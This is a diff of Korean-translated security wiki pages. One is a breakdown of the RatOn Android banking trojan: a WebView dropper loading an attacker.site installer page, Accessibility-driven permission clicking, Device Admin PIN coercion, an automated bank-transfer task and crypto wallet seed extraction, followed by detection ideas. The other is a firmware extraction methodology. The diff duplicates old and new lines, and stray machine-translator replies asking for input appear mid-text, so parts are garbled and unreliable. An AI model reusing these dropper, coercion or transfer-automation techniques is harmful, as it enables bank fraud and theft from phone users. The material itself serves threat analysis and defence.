RatOn banker/RAT campaign (ThreatFabric)은 현대 mobile phishing 운영이 WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, 그리고 NFC-relay orchestration을 어떻게 결합하는지에 대한 구체적 예시다. 이 섹션은 재사용 가능한 기술을 추상화한다.
|
||||
|
||||
### Stage-1: WebView → native install bridge (dropper)
|
||||
공격자는 공격자 페이지를 가리키는 WebView를 띄우고 native installer를 노출하는 JavaScript interface를 주입한다. HTML 버튼을 탭하면 네이티브 코드가 호출되어 dropper의 assets에 번들된 second-stage APK를 설치한 다음 이를 직접 실행한다.
|
||||
|
||||
최소 패턴:
|
||||
```java
|
||||
public class DropperActivity extends Activity {
|
||||
@Override protected void onCreate(Bundle b){
|
||||
@ -237,23 +279,23 @@ wv.loadUrl("https://attacker.site/install.html");
|
||||
}
|
||||
}
|
||||
```
|
||||
HTML 또는 마크다운 내용을 붙여 넣어 주세요. 그러면 해당 내용을 규칙에 맞춰 한국어로 번역해 드리겠습니다.
|
||||
해당 파일(src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md)의 HTML 또는 번역할 원문 내용을 붙여 주세요. 내용을 받아야 정확히 Markdown/HTML 구조를 유지한 채 영어에서 한국어로 번역해 드립니다.
|
||||
```html
|
||||
<button onclick="bridge.installApk()">Install</button>
|
||||
```
|
||||
설치 후 dropper는 explicit package/activity를 통해 payload를 시작합니다:
|
||||
설치 후, dropper는 명시적 package/activity를 통해 payload를 시작합니다:
|
||||
```java
|
||||
Intent i = new Intent();
|
||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||
startActivity(i);
|
||||
```
|
||||
헌팅 아이디어: 신뢰할 수 없는 앱이 `addJavascriptInterface()`를 호출하고 WebView에 인스톨러와 유사한 메서드를 노출하는 경우; APK가 `assets/` 아래에 포함된 2차 페이로드를 포함해 배포하고 Package Installer Session API를 호출하는 경우.
|
||||
Hunting idea: 신뢰할 수 없는 앱이 `addJavascriptInterface()`를 호출하고 WebView에 installer-like 메서드를 노출; `assets/` 아래에 임베디드된 2차 페이로드를 포함해 배포되는 APK가 Package Installer Session API를 호출하는 사례.
|
||||
|
||||
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
|
||||
Stage-2에서는 “Access” 페이지를 호스팅하는 WebView를 연다. 그 버튼은 피해자를 Accessibility 설정으로 이동시키고 악성 서비스를 활성화하도록 요청하는 exported 메서드를 호출한다. 일단 허용되면, 악성코드는 Accessibility를 사용해 이후 런타임 권한 대화상자(contacts, overlay, manage system settings 등)를 자동으로 클릭하고 Device Admin을 요청한다.
|
||||
### 동의 흐름: Accessibility + Device Admin + 후속 런타임 프롬프트
|
||||
Stage-2는 “Access” 페이지를 호스팅하는 WebView를 연다. 해당 버튼은 익스포트된 메서드를 호출해 피해자를 Accessibility 설정으로 이동시키고 악성 서비스를 활성화하도록 요청한다. 승인되면, 악성코드는 Accessibility를 이용해 이후의 런타임 권한 대화상자(contacts, overlay, manage system settings 등)의 버튼을 자동으로 클릭하고 Device Admin을 요청한다.
|
||||
|
||||
- Accessibility는 노드 트리에서 “Allow”/“OK” 같은 버튼을 찾아 클릭을 디스패치하여 이후 프롬프트를 프로그래밍 방식으로 승인하는 데 도움을 준다.
|
||||
- Overlay permission check/request:
|
||||
- Accessibility는 노드 트리에서 “Allow”/“OK” 같은 버튼을 찾아 클릭 이벤트를 전송해 이후의 프롬프트를 프로그래밍적으로 수락하도록 돕는다.
|
||||
- Overlay 권한 확인/요청:
|
||||
```java
|
||||
if (!Settings.canDrawOverlays(ctx)) {
|
||||
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||
@ -267,21 +309,21 @@ ctx.startActivity(i);
|
||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### WebView를 이용한 오버레이 피싱/랜섬
|
||||
운영자는 다음과 같은 명령을 보낼 수 있음:
|
||||
- URL에서 전체 화면 오버레이를 렌더링하거나,
|
||||
- WebView 오버레이에 로드되는 인라인 HTML을 전달.
|
||||
### WebView를 통한 오버레이 phishing/랜섬
|
||||
운영자들은 다음 명령을 내릴 수 있다:
|
||||
- URL로부터 전체 화면 오버레이를 렌더링하거나,
|
||||
- WebView 오버레이에 로드되는 inline HTML을 전달한다.
|
||||
|
||||
사용 예: 강요(coercion) (PIN 입력), wallet 열기로 PIN 탈취, 랜섬 메시지 전송. 오버레이 권한이 없으면 권한이 부여되었는지 확인하는 명령을 유지.
|
||||
가능한 사용: 강요(coercion) (PIN 입력), PIN을 캡처하기 위한 지갑 열기, 랜섬 메시지 전송. 누락된 경우 오버레이 권한이 허용되었는지 확인하는 명령을 포함해 두어라.
|
||||
|
||||
### Remote control model – text pseudo-screen + screen-cast
|
||||
- Low-bandwidth: 주기적으로 Accessibility node tree를 덤프하고, 보이는 텍스트/role/영역(bounds)을 직렬화하여 pseudo-screen으로 C2에 전송 (예: `txt_screen`은 일회성, `screen_live`는 지속).
|
||||
- High-fidelity: MediaProjection을 요청하고 필요 시 screen-casting/recording을 시작 (예: `display` / `record`).
|
||||
### 원격 제어 모델 – 텍스트 의사-스크린 + screen-cast
|
||||
- 저대역폭: 주기적으로 Accessibility node tree를 덤프하고, 보이는 texts/roles/bounds를 직렬화하여 의사-스크린으로 C2에 전송한다(예: 한 번 실행하는 `txt_screen`과 지속 실행하는 `screen_live` 같은 명령).
|
||||
- 고해상도: MediaProjection을 요청하고 필요 시 screen-casting/recording을 시작한다(예: `display` / `record` 같은 명령).
|
||||
|
||||
### ATS playbook (bank app automation)
|
||||
JSON 작업이 주어지면, 은행 앱을 열고 Accessibility를 통해 텍스트 쿼리와 좌표 탭을 혼합해 UI를 조작하며, 입력을 요구하면 피해자의 결제 PIN을 입력.
|
||||
### ATS 플레이북 (bank app 자동화)
|
||||
JSON 태스크를 받아, 은행 앱을 열고 Accessibility를 통해 텍스트 쿼리와 좌표 탭을 섞어 UI를 조작하며, 요청되면 피해자의 결제 PIN을 입력한다.
|
||||
|
||||
예시 작업:
|
||||
예시 태스크:
|
||||
```json
|
||||
{
|
||||
"cmd": "transfer",
|
||||
@ -291,63 +333,63 @@ JSON 작업이 주어지면, 은행 앱을 열고 Accessibility를 통해 텍스
|
||||
"name": "ACME"
|
||||
}
|
||||
```
|
||||
한 타깃 플로우에서 확인된 예시 텍스트 (CZ → EN):
|
||||
Example texts seen in one target flow (CZ → EN):
|
||||
- "Nová platba" → "새 결제"
|
||||
- "Zadat platbu" → "결제 입력"
|
||||
- "Nový příjemce" → "새 수취인"
|
||||
- "Domácí číslo účtu" → "국내 계좌번호"
|
||||
- "Nový příjemce" → "새 수신인"
|
||||
- "Domácí číslo účtu" → "국내 계좌 번호"
|
||||
- "Další" → "다음"
|
||||
- "Odeslat" → "보내기"
|
||||
- "Ano, pokračovat" → "예, 계속"
|
||||
- "Zaplatit" → "결제하기"
|
||||
- "Zaplatit" → "결제"
|
||||
- "Hotovo" → "완료"
|
||||
|
||||
운영자는 `check_limit` 및 `limit` 같은 명령을 통해 한도 UI를 유사하게 탐색하여 이체 한도를 확인하거나 상향 조정할 수도 있습니다.
|
||||
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
|
||||
|
||||
### Crypto wallet seed extraction
|
||||
MetaMask, Trust Wallet, Blockchain.com, Phantom 같은 대상. 흐름: unlock(도난당한 PIN 또는 제공된 비밀번호), Security/Recovery로 이동해 reveal/show seed phrase를 표시하고, keylog/exfiltrate합니다. EN/RU/CZ/SK 언어에 맞춘 locale-aware selectors를 구현하여 다국어에서의 탐색을 안정화하세요.
|
||||
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
|
||||
|
||||
### Device Admin coercion
|
||||
Device Admin APIs는 PIN-capture 기회를 늘리고 피해자를 방해하기 위해 사용됩니다:
|
||||
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
|
||||
|
||||
- 즉시 잠금:
|
||||
- Immediate lock:
|
||||
```java
|
||||
dpm.lockNow();
|
||||
```
|
||||
- 현재 자격 증명을 만료시켜 변경을 강제 (Accessibility가 새 PIN/password를 캡처):
|
||||
- 현재 자격 증명을 만료시켜 변경을 강제 (Accessibility가 새 PIN/비밀번호를 캡처):
|
||||
```java
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||
```
|
||||
- keyguard의 생체 인증 기능을 비활성화하여 비생체 잠금 해제를 강제:
|
||||
- keyguard 생체인식 기능을 비활성화하여 생체 인증이 아닌 방식으로 잠금 해제를 강제:
|
||||
```java
|
||||
dpm.setKeyguardDisabledFeatures(admin,
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||
```
|
||||
참고: 많은 DevicePolicyManager 제어는 최근 Android에서 Device Owner/Profile Owner를 요구합니다; 일부 OEM 빌드는 느슨할 수 있습니다. 항상 대상 OS/OEM에서 검증하세요.
|
||||
참고: 많은 DevicePolicyManager 제어는 최신 Android에서 Device Owner/Profile Owner 권한이 필요합니다; 일부 OEM 빌드는 느슨할 수 있습니다. 항상 대상 OS/OEM에서 검증하세요.
|
||||
|
||||
### NFC 릴레이 오케스트레이션 (NFSkate)
|
||||
Stage-3은 외부 NFC-relay 모듈(예: NFSkate)을 설치하고 실행할 수 있으며 릴레이 동안 피해자를 안내하기 위한 HTML 템플릿을 전달할 수도 있습니다. 이는 contactless card-present cash-out을 온라인 ATS와 함께 가능하게 합니다.
|
||||
### NFC relay orchestration (NFSkate)
|
||||
Stage-3는 외부 NFC-relay 모듈(예: NFSkate)을 설치하고 실행할 수 있으며, 릴레이 중 피해자를 안내하기 위한 HTML 템플릿을 전달할 수도 있습니다. 이는 온라인 ATS와 함께 비접촉 카드-프레젠트 현금화(cash-out)를 가능하게 합니다.
|
||||
|
||||
배경: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
|
||||
### Operator 명령 세트 (샘플)
|
||||
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||
- Overlays: `overlay` (인라인 HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
### Operator command set (sample)
|
||||
- UI/상태: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- 소셜: `send_push`, `Facebook`, `WhatsApp`
|
||||
- 오버레이: `overlay` (인라인 HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- 지갑: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
- ATS: `transfer`, `check_limit`, `limit`
|
||||
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- 기기: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- 통신/정찰: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- NFC: `nfs`, `nfs_inject`
|
||||
|
||||
### 탐지 및 방어 아이디어 (RatOn 스타일)
|
||||
- WebViews에서 `addJavascriptInterface()`로 installer/permission 메서드를 노출하는 것을 탐지하세요; Accessibility 프롬프트를 유발하는 “/access”로 끝나는 페이지를 주의합니다.
|
||||
- 서비스 접근 권한 부여 직후 고빈도 Accessibility 제스처/클릭을 생성하는 앱에 대해 경보를 설정하세요; Accessibility node dumps와 유사한 텔레메트리가 C2로 전송되는 경우도 탐지합니다.
|
||||
- 신뢰할 수 없는 앱에서의 Device Admin 정책 변경을 모니터링하세요: `lockNow`, 비밀번호 만료, keyguard 기능 토글 등.
|
||||
- 비기업(비사내) 앱에서의 MediaProjection 프롬프트 이후 주기적 프레임 업로드가 발생하면 경보를 발합니다.
|
||||
- 다른 앱에 의해 트리거된 외부 NFC-relay 앱의 설치/실행을 탐지하세요.
|
||||
- 뱅킹의 경우: out-of-band 확인, biometrics-binding, 온-디바이스 자동화에 저항하는 거래 한도 적용을 강제하세요.
|
||||
### 탐지 및 방어 아이디어 (RatOn-style)
|
||||
- 설치자/권한 메서드를 노출하는 `addJavascriptInterface()`를 가진 WebViews를 탐지하세요; Accessibility 프롬프트를 유발하는 “/access”로 끝나는 페이지들.
|
||||
- 서비스 접근 권한 부여 직후 고빈도 Accessibility 제스처/클릭을 생성하는 앱에 대해 경고하세요; C2로 전송되는 Accessibility node dumps와 유사한 텔레메트리.
|
||||
- 신뢰할 수 없는 앱에서의 Device Admin 정책 변경을 모니터링하세요: `lockNow`, password expiration, keyguard 기능 토글.
|
||||
- 비기업용 앱에서의 MediaProjection 프롬프트 후 주기적인 프레임 업로드가 이어지는 경우 경고하세요.
|
||||
- 한 앱에 의해 트리거되어 외부 NFC-relay 앱의 설치/실행을 탐지하세요.
|
||||
- 뱅킹의 경우: out-of-band 확인, biometrics-binding, 및 기기 내 자동화에 강한 거래 한도 적용을 시행하세요.
|
||||
|
||||
## References
|
||||
|
||||
@ -357,5 +399,8 @@ Stage-3은 외부 NFC-relay 모듈(예: NFSkate)을 설치하고 실행할 수
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
|
||||
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
|
||||
- [Socket.IO](https://socket.io)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,48 +4,54 @@
|
||||
|
||||
## **소개**
|
||||
|
||||
### 관련 리소스
|
||||
### 관련 자료
|
||||
|
||||
|
||||
{{#ref}}
|
||||
synology-encrypted-archive-decryption.md
|
||||
{{#endref}}
|
||||
|
||||
펌웨어는 장치가 올바르게 작동하도록 하여 하드웨어 구성 요소와 사용자가 상호작용하는 소프트웨어 간의 통신을 관리하고 촉진하는 필수 소프트웨어입니다. 이는 영구 메모리에 저장되어 장치가 전원이 켜지는 순간부터 중요한 지침에 접근할 수 있도록 하여 운영 체제가 시작됩니다. 펌웨어를 조사하고 잠재적으로 수정하는 것은 보안 취약점을 식별하는 데 중요한 단계입니다.
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
펌웨어는 하드웨어 구성 요소와 사용자가 상호작용하는 소프트웨어 사이의 통신을 관리하고 장치가 올바르게 동작하도록 하는 필수 소프트웨어입니다. 영구 메모리에 저장되어 전원이 켜지는 순간부터 장치가 중요한 명령을 접근할 수 있게 하며 운영체제의 부팅으로 이어집니다. 펌웨어를 조사하고 잠재적으로 수정하는 것은 보안 취약점을 식별하는 데 중요한 단계입니다.
|
||||
|
||||
## **정보 수집**
|
||||
|
||||
**정보 수집**은 장치의 구성과 사용하는 기술을 이해하는 데 중요한 초기 단계입니다. 이 과정은 다음에 대한 데이터를 수집하는 것을 포함합니다:
|
||||
**정보 수집**은 장치의 구성과 사용되는 기술을 이해하는 데 있어 중요한 초기 단계입니다. 이 과정은 다음 항목에 대한 데이터를 수집하는 것을 포함합니다:
|
||||
|
||||
- CPU 아키텍처 및 운영 체제
|
||||
- 부트로더 세부사항
|
||||
- 하드웨어 레이아웃 및 데이터시트
|
||||
- 코드베이스 메트릭 및 소스 위치
|
||||
- 외부 라이브러리 및 라이센스 유형
|
||||
- 업데이트 이력 및 규제 인증
|
||||
- CPU 아키텍처와 실행되는 운영 체제
|
||||
- Bootloader 세부사항
|
||||
- 하드웨어 배치 및 데이터시트
|
||||
- 코드베이스 메트릭과 소스 위치
|
||||
- 외부 라이브러리와 라이선스 유형
|
||||
- 업데이트 이력과 규제 인증
|
||||
- 아키텍처 및 흐름 다이어그램
|
||||
- 보안 평가 및 식별된 취약점
|
||||
|
||||
이 목적을 위해 **오픈 소스 정보(OSINT)** 도구는 매우 유용하며, 수동 및 자동 검토 프로세스를 통해 사용 가능한 오픈 소스 소프트웨어 구성 요소를 분석하는 것도 중요합니다. [Coverity Scan](https://scan.coverity.com) 및 [Semmle의 LGTM](https://lgtm.com/#explore)과 같은 도구는 잠재적인 문제를 찾기 위해 활용할 수 있는 무료 정적 분석을 제공합니다.
|
||||
이를 위해 **오픈 소스 인텔리전스 (OSINT)** 도구와 수동 및 자동 검토 프로세스를 통한 사용 가능한 오픈 소스 소프트웨어 구성요소의 분석이 매우 중요합니다. Tools like [Coverity Scan](https://scan.coverity.com) and [Semmle’s LGTM](https://lgtm.com/#explore) offer free static analysis that can be leveraged to find potential issues.
|
||||
|
||||
## **펌웨어 획득**
|
||||
## **펌웨어 입수**
|
||||
|
||||
펌웨어를 얻는 방법은 여러 가지가 있으며, 각 방법마다 복잡성의 수준이 다릅니다:
|
||||
펌웨어를 획득하는 방법은 각기 다른 복잡성을 지닌 여러 방식으로 접근할 수 있습니다:
|
||||
|
||||
- **소스**(개발자, 제조업체)에서 직접
|
||||
- 제공된 지침에 따라 **구축**
|
||||
- **직접** 출처(개발자, 제조사)로부터
|
||||
- 제공된 지침으로 **빌드**하여
|
||||
- 공식 지원 사이트에서 **다운로드**
|
||||
- 호스팅된 펌웨어 파일을 찾기 위한 **Google dork** 쿼리 활용
|
||||
- [S3Scanner](https://github.com/sa7mon/S3Scanner)와 같은 도구를 사용하여 **클라우드 스토리지**에 직접 접근
|
||||
- 중간자 공격 기법을 통해 **업데이트** 가로채기
|
||||
- **UART**, **JTAG** 또는 **PICit**와 같은 연결을 통해 장치에서 **추출**
|
||||
- [S3Scanner](https://github.com/sa7mon/S3Scanner) 같은 도구로 **cloud storage** 직접 접근
|
||||
- 업데이트를 **가로채기** 위한 **man-in-the-middle** 기법 활용
|
||||
- **UART**, **JTAG**, 또는 **PICit** 같은 연결을 통해 기기에서 **추출**
|
||||
- 장치 통신 내에서 업데이트 요청을 **스니핑**
|
||||
- **하드코딩된 업데이트 엔드포인트** 식별 및 사용
|
||||
- 부트로더 또는 네트워크에서 **덤프**
|
||||
- 모든 방법이 실패할 경우 적절한 하드웨어 도구를 사용하여 저장 칩을 **제거하고 읽기**
|
||||
- 하드코딩된 업데이트 엔드포인트 식별 및 사용
|
||||
- 부트로더나 네트워크에서 **덤프**
|
||||
- 모든 방법이 실패할 경우 적절한 하드웨어 도구를 사용해 저장 칩을 **제거하고 읽기**
|
||||
|
||||
## 펌웨어 분석
|
||||
|
||||
이제 **펌웨어를 확보**했으므로, 이를 처리하는 방법을 알기 위해 정보를 추출해야 합니다. 이를 위해 사용할 수 있는 다양한 도구가 있습니다:
|
||||
이제 **펌웨어를 확보했으므로**, 어떻게 다룰지 알기 위해 펌웨어에 대한 정보를 추출해야 합니다. 사용할 수 있는 다양한 도구들이 있습니다:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
해당 도구로 많은 것을 찾지 못한 경우, `binwalk -E <bin>`로 이미지의 **엔트로피**를 확인하세요. 엔트로피가 낮으면 암호화되지 않았을 가능성이 높습니다. 엔트로피가 높으면 암호화되었거나 어떤 방식으로든 압축되었을 가능성이 있습니다.
|
||||
만약 그 도구들로 많은 것을 찾지 못했다면 `binwalk -E <bin>`로 이미지의 **엔트로피**를 확인하세요. 엔트로피가 낮으면 암호화되어 있을 가능성은 낮습니다. 엔트로피가 높으면 암호화되었거나(또는 어떤 방식으로든 압축되어) 있을 가능성이 큽니다.
|
||||
|
||||
또한, 이러한 도구들로 **firmware 내부에 포함된 파일들**을 추출할 수 있습니다:
|
||||
|
||||
또한, 다음 도구를 사용하여 **펌웨어에 내장된 파일**을 추출할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
또는 [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/))를 사용하여 파일을 검사할 수 있습니다.
|
||||
Or [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) to inspect the file.
|
||||
|
||||
### 파일 시스템 가져오기
|
||||
### Filesystem 가져오기
|
||||
|
||||
이전의 언급된 도구인 `binwalk -ev <bin>`를 사용하면 **파일 시스템을 추출**할 수 있어야 합니다.\
|
||||
Binwalk는 일반적으로 **파일 시스템 유형의 이름을 가진 폴더** 안에 추출합니다. 이 폴더는 보통 다음 중 하나입니다: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
앞서 언급한 도구들(예: `binwalk -ev <bin>`)으로 **filesystem을 추출**했어야 합니다.\
|
||||
Binwalk는 보통 이를 **filesystem 유형의 이름을 가진 폴더** 안에 추출하며, 일반적으로 다음 중 하나입니다: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### 수동 파일 시스템 추출
|
||||
#### 수동 Filesystem 추출
|
||||
|
||||
때때로, binwalk는 **파일 시스템의 매직 바이트를 시그니처에 포함하지 않을 수 있습니다**. 이러한 경우, binwalk를 사용하여 **파일 시스템의 오프셋을 찾고 이진 파일에서 압축된 파일 시스템을 조각내고** 아래 단계에 따라 파일 시스템을 **수동으로 추출**하세요.
|
||||
가끔 binwalk는 signature에 filesystem의 **magic byte**를 포함하고 있지 않을 수 있습니다. 이런 경우에는 binwalk로 filesystem의 오프셋을 찾아 바이너리에서 압축된 filesystem을 carve하고 해당 유형에 맞게 아래 단계에 따라 **수동으로 filesystem을 추출**하세요.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
다음 **dd 명령어**를 실행하여 Squashfs 파일 시스템을 조각내십시오.
|
||||
다음 **dd command**를 실행하여 Squashfs filesystem을 추출하세요.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
@ -93,25 +100,25 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
대안으로, 다음 명령어를 실행할 수도 있습니다.
|
||||
또는 다음 명령을 실행할 수도 있습니다.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
- squashfs (위의 예에서 사용됨)
|
||||
- squashfs의 경우 (위 예제에서 사용됨)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
파일은 이후 "`squashfs-root`" 디렉토리에 있을 것입니다.
|
||||
파일은 이후 `squashfs-root` 디렉터리에 있습니다.
|
||||
|
||||
- CPIO 아카이브 파일
|
||||
- CPIO 아카이브 파일의 경우
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
- jffs2 파일 시스템의 경우
|
||||
- jffs2 파일시스템의 경우
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- NAND 플래시가 있는 ubifs 파일 시스템의 경우
|
||||
- NAND flash가 있는 ubifs 파일시스템의 경우
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
@ -119,11 +126,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
## 펌웨어 분석
|
||||
|
||||
펌웨어를 얻은 후, 그 구조와 잠재적 취약점을 이해하기 위해 분석하는 것이 필수적입니다. 이 과정은 펌웨어 이미지에서 귀중한 데이터를 분석하고 추출하기 위해 다양한 도구를 활용하는 것을 포함합니다.
|
||||
펌웨어를 확보한 후에는 그 구조와 잠재적 취약점을 이해하기 위해 분해하는 것이 중요합니다. 이 과정은 펌웨어 이미지에서 유용한 데이터를 분석하고 추출하기 위해 다양한 도구를 활용하는 것을 포함합니다.
|
||||
|
||||
### 초기 분석 도구
|
||||
|
||||
이진 파일( `<bin>`으로 언급됨)의 초기 검사를 위한 명령어 세트가 제공됩니다. 이 명령어는 파일 유형을 식별하고, 문자열을 추출하며, 이진 데이터를 분석하고, 파티션 및 파일 시스템 세부 정보를 이해하는 데 도움이 됩니다:
|
||||
바이너리 파일(이하 `<bin>`)의 초기 검사에 사용할 수 있는 명령들이 제공됩니다. 이 명령들은 파일 타입을 식별하고, 문자열을 추출하며, 이진 데이터를 분석하고, 파티션 및 파일시스템 세부사항을 이해하는 데 도움을 줍니다:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -132,53 +139,53 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
이미지의 암호화 상태를 평가하기 위해 **entropy**는 `binwalk -E <bin>`으로 확인됩니다. 낮은 엔트로피는 암호화가 없음을 나타내고, 높은 엔트로피는 가능한 암호화 또는 압축을 나타냅니다.
|
||||
이미지의 암호화 상태를 평가하기 위해, **entropy**는 `binwalk -E <bin>`로 확인합니다. 낮은 **entropy**는 암호화가 없음을 시사하고, 높은 **entropy**는 암호화 또는 압축 가능성을 나타냅니다.
|
||||
|
||||
**임베디드 파일**을 추출하기 위해서는 **file-data-carving-recovery-tools** 문서와 파일 검사를 위한 **binvis.io**와 같은 도구와 리소스가 추천됩니다.
|
||||
임베디드 파일(**embedded files**)을 추출하기 위해서는 파일 검사용 **file-data-carving-recovery-tools** 문서와 **binvis.io** 같은 도구 및 리소스를 권장합니다.
|
||||
|
||||
### 파일 시스템 추출
|
||||
|
||||
`binwalk -ev <bin>`을 사용하면 일반적으로 파일 시스템을 추출할 수 있으며, 종종 파일 시스템 유형(예: squashfs, ubifs) 이름의 디렉토리에 저장됩니다. 그러나 **binwalk**가 매직 바이트가 누락되어 파일 시스템 유형을 인식하지 못할 경우 수동 추출이 필요합니다. 이는 `binwalk`를 사용하여 파일 시스템의 오프셋을 찾고, 그 다음 `dd` 명령을 사용하여 파일 시스템을 조각내는 과정을 포함합니다:
|
||||
`binwalk -ev <bin>`를 사용하면 일반적으로 파일 시스템을 추출할 수 있으며, 종종 파일 시스템 타입 이름(예: squashfs, ubifs)으로 된 디렉터리에 추출됩니다. 그러나 **binwalk**가 magic bytes 누락으로 인해 파일 시스템 타입을 인식하지 못하는 경우 수동 추출이 필요합니다. 이는 `binwalk`로 파일 시스템의 오프셋을 찾은 다음 `dd` 명령으로 파일 시스템을 추출하는 과정을 포함합니다:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
그 후, 파일 시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 내용을 수동으로 추출하는 데 사용되는 다양한 명령이 있습니다.
|
||||
이후에는 파일시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 내용을 수동으로 추출하기 위해 서로 다른 명령이 사용됩니다.
|
||||
|
||||
### 파일 시스템 분석
|
||||
### Filesystem Analysis
|
||||
|
||||
파일 시스템이 추출되면 보안 결함을 찾기 시작합니다. 불안전한 네트워크 데몬, 하드코딩된 자격 증명, API 엔드포인트, 업데이트 서버 기능, 컴파일되지 않은 코드, 시작 스크립트 및 오프라인 분석을 위한 컴파일된 바이너드에 주의가 기울여집니다.
|
||||
파일시스템을 추출한 후에는 보안 결함을 찾기 시작합니다. 안전하지 않은 네트워크 데몬, 하드코딩된 자격증명, API 엔드포인트, 업데이트 서버 기능, 컴파일되지 않은 코드, 시작 스크립트 및 오프라인 분석을 위한 컴파일된 바이너리에 주의를 기울입니다.
|
||||
|
||||
**검사할 주요 위치** 및 **항목**은 다음과 같습니다:
|
||||
**검사해야 할 주요 위치** 및 **항목**은 다음과 같습니다:
|
||||
|
||||
